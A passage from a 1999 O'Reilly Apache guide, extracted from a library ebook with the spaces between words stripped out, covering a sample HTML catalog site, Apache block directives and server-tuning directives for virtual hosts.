cards,givestheirprices,andtellsinterestedpartieshowtogetthem.
WecanlookattheNetscapeHelpitem"CreatingNetSites"anddownload"ABeginnersGuidetoHTML"aswellasthenextwebperson,thenroughoutalittle
brochureinnotimeflat:
SeealsoHTML:TheDefinitiveGuide,byChuckMuscianoandBillKennedy(O'Reilly&Associates).
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page47
<html>
<h1>WelcometoButterthliesInc</h1>
<h2>SummerCatalog</h2>
<p>Allourcardsareavailableinpacksof20at$2apack.
Thereisa10%discountifyouordermorethan100.
</p>
<hr>
<p>
Style2315
<palign=center>
<imgsrc=bench.jpgalt=Pictureofabench>
<palign=center>
BeBOLDonthebench
<hr>
<p>
Style2316
<palign=center>
<imgsrc=hen.jpgALT=Pictureofahencooplikeapagoda>
<palign=center>
GetSCRAMBLEDinthehenhouse
<HR>
<p>
Style2317
<palign=center>
<imgsrc=tree.jpgalt=Verynicepictureoftree>
<palign=center>
GetHIGHinthetreehouse
<hr>
<p>
Style2318
<palign=center>
<imgsrc=bath.jpgalt=Ratherpuzzlingpictureofabathtub>
<palign=center>
GetDIRTYinthebath
<hr>
<palign=right>
PostcardsdesignedbyHarriet@alart.demon.co.uk
<hr>
<br>
ButterthliesInc,HopefulCity,Nevada99999
</br>
</HTML>
"Rough"isagoodwaytodescribethisdocument.ThecompetentHTMLpersonwillnoticethatmostofthe</P>saremissing,thereisno<HEAD>or<BODY>
tag,andsoon.Butitworks,andthatisallweneedforthemoment.
Wewantthisbrochuretoappearin/site.first/htdocs,butwewillinfactbe
usingitinmanyothersitesasweprogress,solet'skeepitinacentrallocationand
setuplinksusingtheUnixlncommand.Wehavea
directory/usr/www/main_docs,andthisdocumentlivesinitas
catalog_summer.html.Thisfilereferstosome
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page48
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
ratherprettypicturesthatareheldinfour.jpgfiles.Theylivein/main_docs
andarelinkedtotheworkinghtdocsdirectories:
%ln/usr/www/main_docs/catalog_summer.html.
%ln/usr/www/main_docs/bench.jpg.
Theremainderofthelinksfollowthesameformat(assumingwearein
/site.first/htdocs).
Ifyoutypels,youshouldseethefilesthereaslargeaslife.
UnderWin32thereisunfortunatelynoequivalenttoalink,soyouwilljusthaveto
havemultiplecopies.
DefaultIndex
Type./goandshifttotheclientmachine.Logontohttp://www.butterthlies.com/:
INDEXof/
ParentDirectory
bath.jpg
bench.jpg
catalog_summer.html
hen.jpg
tree.jpg
index.html
WhatweseeinthepreviouslistingistheindexthatApacheconcoctsintheabsenceofanythingbetter.Wecandobetterbycreatingourownindexpageinthespecial
file/htdocs/index.html:
<html>
<head>
<title>IndextoButterthliesCatalogs</title>
</head>
<body>
<ul>
<li><Ahref="catalog_summer.html">Summercatalog</A>
<li><Ahref="catalog_autumn.html">Autumncatalog</A>
</ul>
<hr>
<br>ButterthliesInc,HopefulCity,Nevada99999
</br>
</body>
</html>
Weneededasecondfile(catalog_autumn.html)tomakethethinglookconvincing.Sowedidwhatthemanagementofthisoutfitwoulddothemselves:wecopied
catalog_summer.htmltocatalog_autum.htmlandeditedit,simplychangingthewordSummertoAutumnandincludingthelinkin/htdocs.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page49
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
WheneveraclientopensaURLthatpointstoadirectorycontainingtheindex.htmlfile,Apacheautomaticallyreturnsittotheclient(bydefaultthiscanbeconfigured
withtheDirectoryIndexdirective).Now,whenwelogin,wesee:
INDEXTOBUTTERTHLIESCATALOGS
SummerCatalog
AutumnCatalog
ButterthliesInc,HopefulCity,Nevada99999
Wewon'tforgettotellthewebsearchenginesaboutoursite.Soontheclientswillbeloggingin(wecanseewhotheyarebychecking/logs/access_log).Theywill
readthiscompellingsalesmaterial,andthephonewillimmediatelystartringingwithorders.Ourfortuneisinafairwaytobeingmade.
BlockDirectives
Apachehasanumberofblockdirectivesthatlimittheapplicationofotherdirectiveswithinthemtooperationsonparticularvirtualhosts,directories,orfiles.Theseare
extremelyimportanttotheoperationofarealwebsitebecausewithintheseblocksparticularly<VirtualHost>thewebmastercan,ineffect,setupalarge
numberofindividualserversrunbyasingleinvocationofApache.Thiswillmakemoresensewhenyougettothesection"TwoSitesandApache,"furtheroninthis
chapter.
Thesyntaxoftheblockdirectivesisdetailednext.
<VirtualHost>
<VirtualHosthost[:port]>
</VirtualHost>
Serverconfig
The<VirtualHost>directivewithinaConfigfileactslikeataginHTML:itintroducesablockoftextcontainingdirectivesreferringtoonehostwhenwe're
finishedwithit,westopwith</VirtualHost>.Forexample:
.
<VirtualHost"target="_BLANK">www.butterthlies.com>
ServerAdminsales@butterthlies.com
DocumentRoot/usr/www/site.virtual/htdocs/customers
ServerNamewww.butterthlies.com
ErrorLog/usr/www/site.virtual/namebased/logs/error_log
TransferLog/usr/www/site.virtual/namebased/logs/access_log
</VirtualHost>
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page50
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
<VirtualHost>alsospecifieswhichIPaddresswe'rehostingand,optionally,theport.Ifportisnotspecified,thedefaultportisused,whichiseitherthe
standardHTTPport,80,ortheportspecifiedinaPortdirective.hostcanalsobe_default_,inwhichcaseitmatchesanythingnoother
<VirtualHost>sectionmatches.
Inarealsystem,thisaddresswouldbethehostnameofourserver.The<VirtualHost>directivehasthreeanaloguesthatalsolimittheapplicationofother
directives:
<Directory>
<Files>
<Location>
Thislistshowstheanaloguesinascendingorderofauthority,sothat<Directory>isoverruledby<Files>,and<Files>by<Location>.Filescanbe
nestedwithin<Directory>blocks.Executionproceedsingroupsinthefollowingorder:
1.<Directory>(withoutregularexpressions)and.htaccessareexecutedsimultaneously. .htaccessoverrides<Directory>.
2.<DirectoryMatch>and<Directory>(withregularexpressions).
3.<Files>and<FilesMatch>areexecutedsimultaneously.
4.<Location>and<LocationMatch>areexecutedsimultaneously.
Group1isprocessedintheorderofshortestdirectorytolongest. TheothergroupsareprocessedintheorderinwhichtheyappearintheConfigfile.Sections
inside<VirtualHost>blocksareappliedaftercorrespondingsectionsoutside.
<Directory>and<DirectoryMatch>
<Directorydir>
</Directory>
The<Directory>directiveallowsyoutoapplyotherdirectivestoadirectoryoragroupofdirectories.Itisimportanttounderstandthatdirreferstoabsolute
directories,sothat<Directory/>operatesonthewholefilesystem,nottheDocumentRootandbelow.dircanincludewildcardsthatis,"?"tomatcha
singlecharacter," "tomatchasequence,and''[]"toenclosearangeofcharacters.
Thatis,theyareprocessedtogetherforeachdirectoryinthepath.
Shortestmeaning"withthefewestcomponents"ratherthan"withthefewestcharacters."
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page51
Forinstance,[ad]means"anyoneofa,b,c,d."Ifthecharacter"~"appearsinfrontofdir,thenamecanconsistofcompleteregularexpressions.
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
<DirectoryMatch>hasthesameeffectas<Directory~>.Thatis,itexpectsaregularexpression.So,forinstance,either:
<Directory~/[ad]. >
or:
<DirectoryMatch/[ad]. >
means"anydirectorynamethatstartswitha,b,c,ord."
<Files>and<FilesMatch>
<Filesfile>
</Files>
The<Files>directivelimitstheapplicationofthedirectivesintheblocktothatfile,whichshouldbeapathnamerelativetotheDocumentRoot.Itcaninclude
wildcardsorfullregularexpressionsprecededby"~".<FilesMatch>canbefollowedbyaregularexpressionwithout"~".So,forinstance,youcouldmatch
commongraphicsextensionswith:
<FilesMatch"\.(gif|jpe?g|png)$">
Or,ifyouwantedourcatalogstreatedinsomespecialway:
<FilesMatchcatalog. >
Unlike<Directory>and<Location>,<Files>canbeusedina.htaccessfile.
<Location>and<LocationMatch>
<LocationURL>
</Location>
The<Location>directivelimitstheapplicationofthedirectiveswithintheblocktothoseURLsspecified,whichcanincludewildcardsandregularexpressions
precededby"~".InlinewithregularexpressionprocessinginApachev1.3," "and"?"nolongermatchto"/".<LocationMatch>isfollowedbyaregular
expressionwithoutthe"~".
Mostthingsthatareallowedina<Directory>blockareallowedin<Location>,butalthoughAllowOverridewillnotcauseanerrorina
<Location>block,itmakesnosensethere.
SeeMasteringRegularExpressions,byJeffreyE.F.Friedl(O'Reilly&Associates).
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page52
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
<IfDefine>
<IfDefinename>
</IfDefine>
The<IfDefine>directiveenablesablock,providedtheflagDnameisusedwhenApachestartsup.Thismakesitpossibletohavemultipleconfigurations
withinasingleConfigfile.Thisismostlyusefulfortestinganddistributionpurposesratherthanfordedicatedsites.
<IfModule>
<IfModule[!]modulename>
</IfModule>
The<IfModule>directiveenablesablock,providedthenamedmodulewascompiledordynamicallyloadedintoApache.Ifthe"!"prefixisused,theblockis
enabledifthenamedmodulewasnotcompiledorloaded.<IfModule>blockscanbenested.
OtherDirective
Otherhousekeepingdirectivesarelistedhere.
ServerName
ServerNamehostname
Serverconfig,virtualhost
ServerNamegivesthehostnameoftheservertousewhencreatingredirectionURLs,thatis,ifyouusea<Location>directiveoraccessadirectorywithouta
trailing"/".
UseCanonicalName
UseCanonicalNameon/off
Default:on
Serverconfig,virtualhost,directory,.htaccess
ThisdirectivecontrolshowApacheformsURLsthatrefertoitself,forexample,whenredirectingarequestforhttp://www.domain.com/some/directorytothe
correcthttp://www.domain.com/some/directory/(notethetrailing"/").IfUseCanonicalNameison(thedefault),thenthehostnameandportusedinthe
redirectwillbethosesetbyServerNameandPort.Ifitisoff,thenthenameandportusedwillbetheonesintheoriginalrequest.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page53
Oneinstancewherethisdirectivemaybeusefuliswhenusersareinthesamedomainasthewebserver(forexample,onanintranet).Inthiscase,theymayusethe
"short"namefortheserver(www,forexample),insteadofthefullyqualifieddomainname(www.domain.com,say).IfausertypesaURLsuchashttp://www/
somedir(withoutthetrailingslash),then,withUseCanonicalNameswitchedon,theuserwillbedirectedtohttp://www.domain.com/somedir/,whereaswith
UseCanonicalNameswitchedoff,heorshewillberedirectedtohttp://www/somedir/.Anobviouscaseinwhichthisisusefuliswhenuserauthenticationis
switchedon:reusingtheservernamethattheusertypedmeanstheywon'tbeaskedtoreauthenticatewhentheservernameappearstothebrowsertohavechanged.
Moreobscurecasesrelatetoname/addresstranslationcausedbysomefirewallingtechniques.
ServerAdmin
ServerAdminemail_address
Serverconfig,virtualhost
ServerAdmingivesApacheanemail_addressforautomaticpagesgeneratedwhensomeerrorsoccur.Itmightbesensibletomakethisaspecialaddress
suchasserver_probs@butterthlies.com.
ServerSignature
ServerSignature[off|on|email]
Default:off
Directory,.htaccess
Thisdirectiveallowsyoutolettheclientknowwhichserverinachainofproxiesactuallydidthebusiness.ServerSignatureongeneratesafootertoserver
generateddocumentsthatincludestheserverversionnumberandtheServerNameofthevirtualhost.ServerSignatureemailadditionallycreatesa
mailto:referencetotherelevantServerAdminaddress.
ServerTokens
ServerTokens[min(imal)|OS|full]
Default:full
Serverconfig
Thisdirectivecontrolstheinformationaboutitselfthattheserverreturns:
min(imal)
Serverreturnsnameandversionnumber,forexample,Apachev1.3
OS
Serversendsoperatingsystemaswell,forexample,Apachev1.3(Unix)
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page54
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
full
Serversendsthepreviouslylistedinformationplusinformationaboutcompiledmodules,forexample,Apachev1.3(Unix)PHP/3.0MyMod/1.2
ServerAlias
ServerAliasname1name2name3
Virtualhost
ServerAliasgivesalistofalternatenamesmatchingthecurrentvirtualhost.IfarequestusesHTTP1.1,itarriveswithHost:serverintheheaderandcan
matchServerName,ServerAlias,ortheVirtualHostname.
ServerPath
ServerPathpath
Virtualhost
InHTTP/1.1youcanmapseveralhostnamestothesameIPaddress,andthebrowserdistinguishesbetweenthembysendingtheHostheader.Butitwasthought
therewouldbeatransitionperiodduringwhichsomebrowsersstillusedHTTP/1.0anddidn'tsendtheHostheader. SoServerPathletsthesamesitebe
accessedthroughapathinstead.
Ithastobesaidthatthisdirectiveoftendoesn'tworkverywellbecauseitrequiresagreatdealofdisciplineinwritingconsistentinternalHTMLlinks,whichmustallbe
writtenasrelativelinkstomakethemworkwithtwodifferentURLs.However,ifyouhavetocopewithHTTP/1.0browsersthatdon'tsendHostheadersaccessing
virtualsites,youdon'thavemuchchoice.
Forinstance,supposeyouhavesite1.somewhere.comandsite2.somewhere.commappedtothesameIPaddress(let'ssay192.168.123.2),andyousetupthe
httpd.conffilelikethis:
<VirtualHost192.168.123.2>
ServerNamesite1.somewhere.com
DocumentRoot/usr/www/sitel
ServerPath/site1
</VirtualHost>
<VirtualHost192.168.123.2>
ServerNamesite2.somewhere.com
DocumentRoot/usr/www/site2
ServerPath/site2
</VirtualHost>
NotethatthistransitionperiodwasalmostoverbeforeitstartedbecausemanybrowserssenttheHostheadereveninHTTP/1.0requests.However,insomerarecases,this
directivemaybeuseful.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page55
ThenanHTTP/1.1browsercanaccessthetwositeswithURLshttp://site1.somewhere.com/andhttp://site2.somewhere.com/.RecallthatHTTP/1.0canonly
distinguishbetweensiteswithdifferentIPaddresses,sobothofthoseURLslookthesametoanHTTP/1.0browser.However,withtheabovesetup,suchbrowsers
canaccesshttp://site1.somewhere.com/site1andhttp://site1.somewhere.com/site2toseethetwodifferentsites(yes,wedidmeansite1.somewhere.cominthe
latteritcouldhavebeensite2.somewhere.comineither,becausetheyarethesameasfarasanHTTP/1.0browserisconcerned).
ServerRoot
ServerRootdirectory
Defaultdirectory:/usr/local/etc/httpd
Serverconfig
ServerRootspecifieswherethesubdirectoriesconfandlogscanbefound.IfyoustartApachewiththef(file)option,youneedtoincludethe
ServerRootdirective.Ontheotherhand,ifyouusethed(directory)option,aswedo,thisdirectiveisnotneeded.
PidFile
PidFilefile
Defaultfile:logs/httpd.pid
Serverconfig
AusefulpieceofinformationaboutanexecutingprocessisitsPIDnumber.ThisisavailableunderbothUnixandWin32inthePidFile,andthisdirectiveallows
youtochangeitslocation.Bydefault,itisin/logs/httpd.pid.However,onlyUnixallowsyoutodoanythingeasilywithitnamely,tokilltheprocess.
ScoreBoardFile
ScoreBoardFileComponent
Default:ScoreBoardFilelogs/apache_status
Serverconfig
TheScoreBoardFiledirectiveisrequiredonsomearchitecturesinordertoplaceafilethattheserverwillusetocommunicatebetweenitschildrenandthe
parent.TheeasiestwaytofindoutifyourarchitecturerequiresascoreboardfileistorunApacheandseeifitcreatesthefilenamedbythedirective.Ifyour
architecturerequiresit,thenyoumustensurethatthisfileisnotusedatthesametimebymorethanoneinvocationofApache.
IfyouhavetouseaScoreBoardFile,thenyoumayseeimprovedspeedbyplacingitonaRAMdisk.ButbeawarethatplacingimportantfilesonaRAMdisk
involvesacertainamountofrisk.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page56
Apache1.2andabove:Linux1.xandSVR4usersmightbeabletoadd
DHAVE_SHMGETDUSE_SHMGET_SCOREBOARDtothe
EXTRA_CFLAGSinyourConfigfile.Thismightworkwithsome1.x
installations,butnotwithallofthem.(Priorto1.3b4,HAVE_SHMGETwould
havesufficed.)
CoreDumpDirectory
CoreDumpDirectorydirectory
Default:<serverroot>
Serverconfig
SpecifiesadirectorywhereApachetriestodumpcore.ThedefaultistheServer
Rootdirectory,butthisisnormallynotwritablebyApache'suser.Thisdirectiveis
usefulonlyinUnix,sinceWin32doesnotdumpacoreafteracrash.
SendBufferSize
SendBufferSize<number>
Default:setbyOS
Serverconfig
IncreasesthesendbufferinTCPbeyondthedefaultsetbytheoperatingsystem.Thisdirectiveimprovesperformanceundercertaincircumstances,butwesuggest
youdon'tuseitunlessyouthoroughlyunderstandnetworktechnicalities.
LockFile
LockFile<path>directory
Default:logs/accept.lock
Serverconfig
WhenApacheiscompiledwithUSE_FCNTL_SERIALIZED_ACCEPTor
USE_FLOCK_SERIALIZED_ACCEPT,itwillnotstartuntilitwritesalock
filetothelocaldisk.IfthelogsdirectoryisNFSmounted,thiswillnotbe
possible.Itisnotagoodideatoputthisfileinadirectorythatiswritableby
everyone,sinceafalsefilewillpreventApachefromstarting.Thismechanismis
necessarybecausesomeoperatingsystemsdon'tlikemultipleprocessessittingin
accept()onasinglesocket(whichiswhereApachesitswhilewaiting).
Therefore,thesecallsneedtobeserialized.Onewayistousealockfile,butyou
can'tuseoneonanNFSmounteddirectory.
KeepAlive
KeepAlivenumber
Defaultnumber:5
Serverconfig
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page57
Thechancesarethatifauserlogsontoyoursite,heorshewillreaccessitfairlysoon.Toavoidunnecessarydelay,thiscommandkeepstheconnectionopen,but
onlyfornumberrequests,sothatoneuserdoesnothogtheserver.Youmightwanttoincreasethisfrom5ifyouhaveadeepdirectorystructure.Netscape
Navigator2hasabugthatfoulsupkeepalives.Apachefromv1.2oncandetecttheuseofthisbrowserbylookingforMozilla/2intheheadersreturnedby
Netscape.IftheBrowserMatchdirectiveisset(seeChapter4,CommonGatewayInterface(CGI)),theproblemdisappears.
KeepAliveTimeout
KeepAliveTimeoutseconds
Defaultseconds:15
Serverconfig
Similarly,toavoidwaitingtoolongforthenextrequest,thisdirectivesetsthenumberofsecondstowaitforthenextrequest.Oncetherequesthasbeenreceived,the
TimeOutdirectiveapplies.
TimeOut
TimeOutseconds
Defaultseconds:1200
Serverconfig
Setsthemaximumtimethattheserverwillwaitforthereceiptofarequestandthenitscompletionblockbyblock.Thisdirectiveusedtohaveanunfortunateeffect:
downloadsoflargefilesoverslowconnectionsusedtotimeout.Thedirectivehas,therefore,beenmodifiedtoapplytoblocksofdatasentratherthantothewhole
transfer.
HostNameLookups
HostNameLookups[on|off|double]
Default:off
Serverconfig,virtualhost
Ifthisdirectiveison,theneveryincomingconnectionisreverseDNSresolved,whichmeansthat,startingwiththeIPnumber,Apachefindsthehostnameoftheclient
byconsultingtheDNSsystemontheInternet.Thehostnameisthenusedinthelogs.Ifswitchedoff,theIPaddressisusedinstead.Itcantakeasignificantamount
oftimetoreverseresolveanIPaddress,soforperformancereasonsitisoftenbesttoleavethisoff,particularlyonbusyservers.Notethatthesupport
BeforeApachev1.3,thedefaultwason.Upgraderspleasenote.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page58
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
programlogresolveissuppliedwithApachetoreverseresolvethelogsatalaterdate.
ThenewdoublekeywordsupportsthedoublereverseDNStest.AnIPaddresspassesthistestiftheforwardmapofthereversemapincludestheoriginalIP.
Regardlessofthesettinghere,mod_accessaccesslistsusingDNSnamesrequireallthenamestopassthedoublereversetest.
Include
IncludeComponent
Serverconfig
ComponentpointstoafilethatwillbeincludedintheConfigfileinplaceofthisdirective.
TwoSitesandApache
Ourbusinesshasnowexpanded,andwehaveateamofsalespeople.Theyneedtheirownwebsitewithdifferentprices,gossipaboutcompetitors,conspiracies,
plots,plans,andsoon,thatisseparatefromthecustomers'websitewehavebeentalkingabout.Thereareessentiallytwowaysofdoingthis:
1.RunasinglecopyofApachethatmaintainstwoormorewebsitesasvirtualsites.Thisisthemostusualmethod.
2.Runtwo(ormore)copiesofApache,eachmaintainingasinglesite.Thisisseldomdone,butweincludeitforthesakeofcompleteness.
ControllingVirtualHostsonUnix
WhenstartedwithouttheXflag,whichiswhatyouwoulddoinrealoperation,Apachelaunchesanumberofchildversionsofitselfsothatanyincomingrequestcan
beinstantlydealtwith.Thisisanexcellentscheme,butweneedsomewayofcontrollingthissprawlofsoftware.Thenecessarydirectivesaretheretodoit.
MaxClients
MaxClientsnumber
Defaultnumber:150
Serverconfig
DynamicallyallocatedIPaddressesmaynotresolvecorrectlyatanytimeotherthanwhentheyareinuse.Ifitisreallyimportanttoknowtheexactnameoftheclient,
HostNameLookupswillhavetobesettoon.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page59
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Thisdirectivelimitsthenumberofrequeststhatwillbedealtwithsimultaneously.InthecurrentversionofApache,thiseffectivelylimitsthenumberofserversthatcan
runatonetime.
MaxRequestsPerChild
MaxRequestsPerChildnumber
Defaultnumber:30
Serverconfig
EachchildversionofApachehandlesthisnumberofrequestsanddies(unlessthevalueis0,inwhichcaseitwilllastforeveroruntilthemachineisrebooted).Itisa
goodideatosetanumberheresothatanyaccidentalmemoryleaksinApachearetidiedup.AlthoughtherearenoknownleaksinApache,itisnotimpossiblefor
themtooccurinthesystemlibraries,soitisprobablywisenottodisablethisunlessyouareabsolutelysurethecodeisbytetight.
MaxSpareServers
MaxSpareServersnumber
Defaultnumber:10
Serverconfig
Nomorethanthisnumberofchildserverswillbeleftrunningandunused.Settingthistoanunnecessarilylargenumberisabadidea,sinceitdepletesresources
needlessly.Howmanyistoomanydependsonwhichmodulesyouhaveusedandyourdetailedconfiguration.Youcangetsomecluesbystudyingmemory
consumptionwithps,top,andthelike.
MinSpareServers
MinSpareServersnumber
Defaultnumber:5
Serverconfig
Apacheattemptstokeepatleastthisnumberofspareserversrunning.Iffewerthanthisnumberexist,newoneswillbestartedatanincreasingrateeachseconduntil
MAX_SPAWN_RATEisreached.MAX_SPAWN_RATEisdefinedtobe32bydefault,butcanbeoverriddenatcompiletime.Ifnonewserversareneeded,the
numbertobeaddedisresetto1.Settingnumberunnecessarilyhighisabadideabecauseitusesupresourcesneedlessly.
StartServers
StartServersnumber
Defaultnumber:5
Serverconfig
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page60
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Althoughthenumberofserversiscontrolleddynamically(seeMaxSpareServers),youmayhaveaheavilyusedsiteandwanttomakesurethatitstartsup
withlotsofservers,ratherthanwaitingfordemandtosetthemgoing.
InolderversionsofApache,newserverswereonlystartedattherateofonepersecond,socarefulconsiderationhadtobegiventothesenumbersonheavilyloaded
systems.However,inApache1.3newserversarestartedmoreaggressively,sofinetuningofStartServers,MinSpareServers,and
MaxSpareServersshouldbeconsiderablylessimportant.Tocopewithsuddenburstsoftrafficonheavilyloadedsystems,itisworthhavingafewspareservers
available.ExperiencehasshownthatservershandlingonemillionhitsperdayworkwellwithMaxSpareServerssetto64andMinSpareServerssetto
32.StartupperformancecanbeoptimizedbysettingStartServerssomewhereintherangeofMinSpareServerstoMaxSpareServers.Itmayalsobe
worthincreasingMaxRequestsPerChildinordertoavoidunnecessaryoverheadfromprocessrestarts,butnotethatyouincreasetheriskofdamageby
memoryleaksifyoudothis.DomakesureyouhaveenoughmemoryavailabletoactuallyrunthismanycopiesofApache!
UnixFileLimits
Ifyouweredoingthisforreal,youwouldexpectthenumberofvirtualhttpdsrunningtoincreasetocopewithourvariousspinoffbusinesses.Thismaycausetrouble.
SomeUnixsystemswillallowchildprocessestoopennomorethan64filedescriptorsatonce.Eachvirtualhostconsumestwofiledescriptorsinopeningitstransfer
anderrorlogfiles,so32virtualhostsuseupthelimit.Theproblemshowsupin''unabletofork"messagesintheerrorlogs,thoughthisisnotactuallybecauseUnixis
unabletoforkbutbecauseitcan'tcreatethepipes. Thesolutionistouseasinglelogandseparateitoutlater.
ControllingVirtualHostsonWin32
TheWin32versionofApacherunsaparentversionofthecodeandasinglemultithreadedchildthathandlesallrequests.
Thisparticularerrorcanbecausedbyvariousresourceshortages,particularlyopenfilelimitsandprocesslimitsunfortunately,Apachedoesn'tgenerallytellyouwhatcaused
theproblem,whichcanbeveryfrustrating.Aparticularlyirritatingpitfalliscausedbyrestartingtheserverfromashellthatsetsthelimitstodifferentvaluesfromthoseusedwhen
theserverstartedautomaticallyatsystemboot.tcsh,forexample,tendstodothis.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page61
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
ThreadsPerChild
ThreadsPerChildnumber
Defaultnumber:50
Serverconfig
CurrentlythisdirectiveisonlyrelevanttoWin32.Youmayneedtoincreasethisnumberfrom50,thedefault,ifyoursitegetsalotofsimultaneoushits.Thename
ThreadsPerChildmaysuggestthattherecanbemorethanonechildprocessinaWin32installation,butthisisnotcurrentlythecase.
VirtualHosts
Onsite.twocopy(see"TwoCopiesofApache,"laterinthischapter)weruntwodifferentversionsofApache,eachservingadifferentURL.Itwouldberather
unusualtodothisinreallife.ItismorecommontorunanumberofvirtualApachesthatsteerincomingrequestsondifferentURLsusuallywiththesameIP
addresstodifferentsetsofdocuments.Thesemightwellbehomepagesformembersofyourorganizationoryourclients.
InthefirsteditionofthisbookweshowedhowtodothisforApache1.2andHTTP/1.0.Theresultwasratherclumsy,withamainhostandavirtualhost,butit
copedwithHTTP/1.0clients.However,thesetupcannowbedonemuchmoreneatlywiththeNameVirtualHostdirective.ThepossiblecombinationsofIP
basedandnamebasedhostscanbecomequitecomplex.Afullexplanationwithexamplesandtheunderlyingtheologycanbefoundat
http://www.apache.org/docs/vhostsbutithastobesaidthatseveralofthepossiblepermutationsareunlikelytobeveryusefulinpractice.
NameBasedVirtualHosts
Thisisbyfarthepreferredmethodofmanagingvirtualhosts,takingadvantageoftheabilityofHTTP/1.1compliantbrowserstosendthenameofthesitetheywantto
access.At/site.virtual/Namebasedwehavewww.butterthlies.comandsales.butterthlies.comon192.168.123.2.Ofcourse,thesesitesmustberegisteredon
theWeb(orifyouaredummyingthesetupaswedid,includedin/etc/hosts).TheConfigfileisasfollows:
Userwebuser
Groupwebgroup
NameVirtualHost192.168.123.2
Ifyoureallywanttoknow:Win32willnotdistributerequestsamongmultiplechildrenlikeUnixdoes.
Thefirstprocesstoopenaportgetsalltheconnections,whetheritisreadyforthemornot.MicrosoftclaimsthisisaGoodThing.We'renotsosure.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
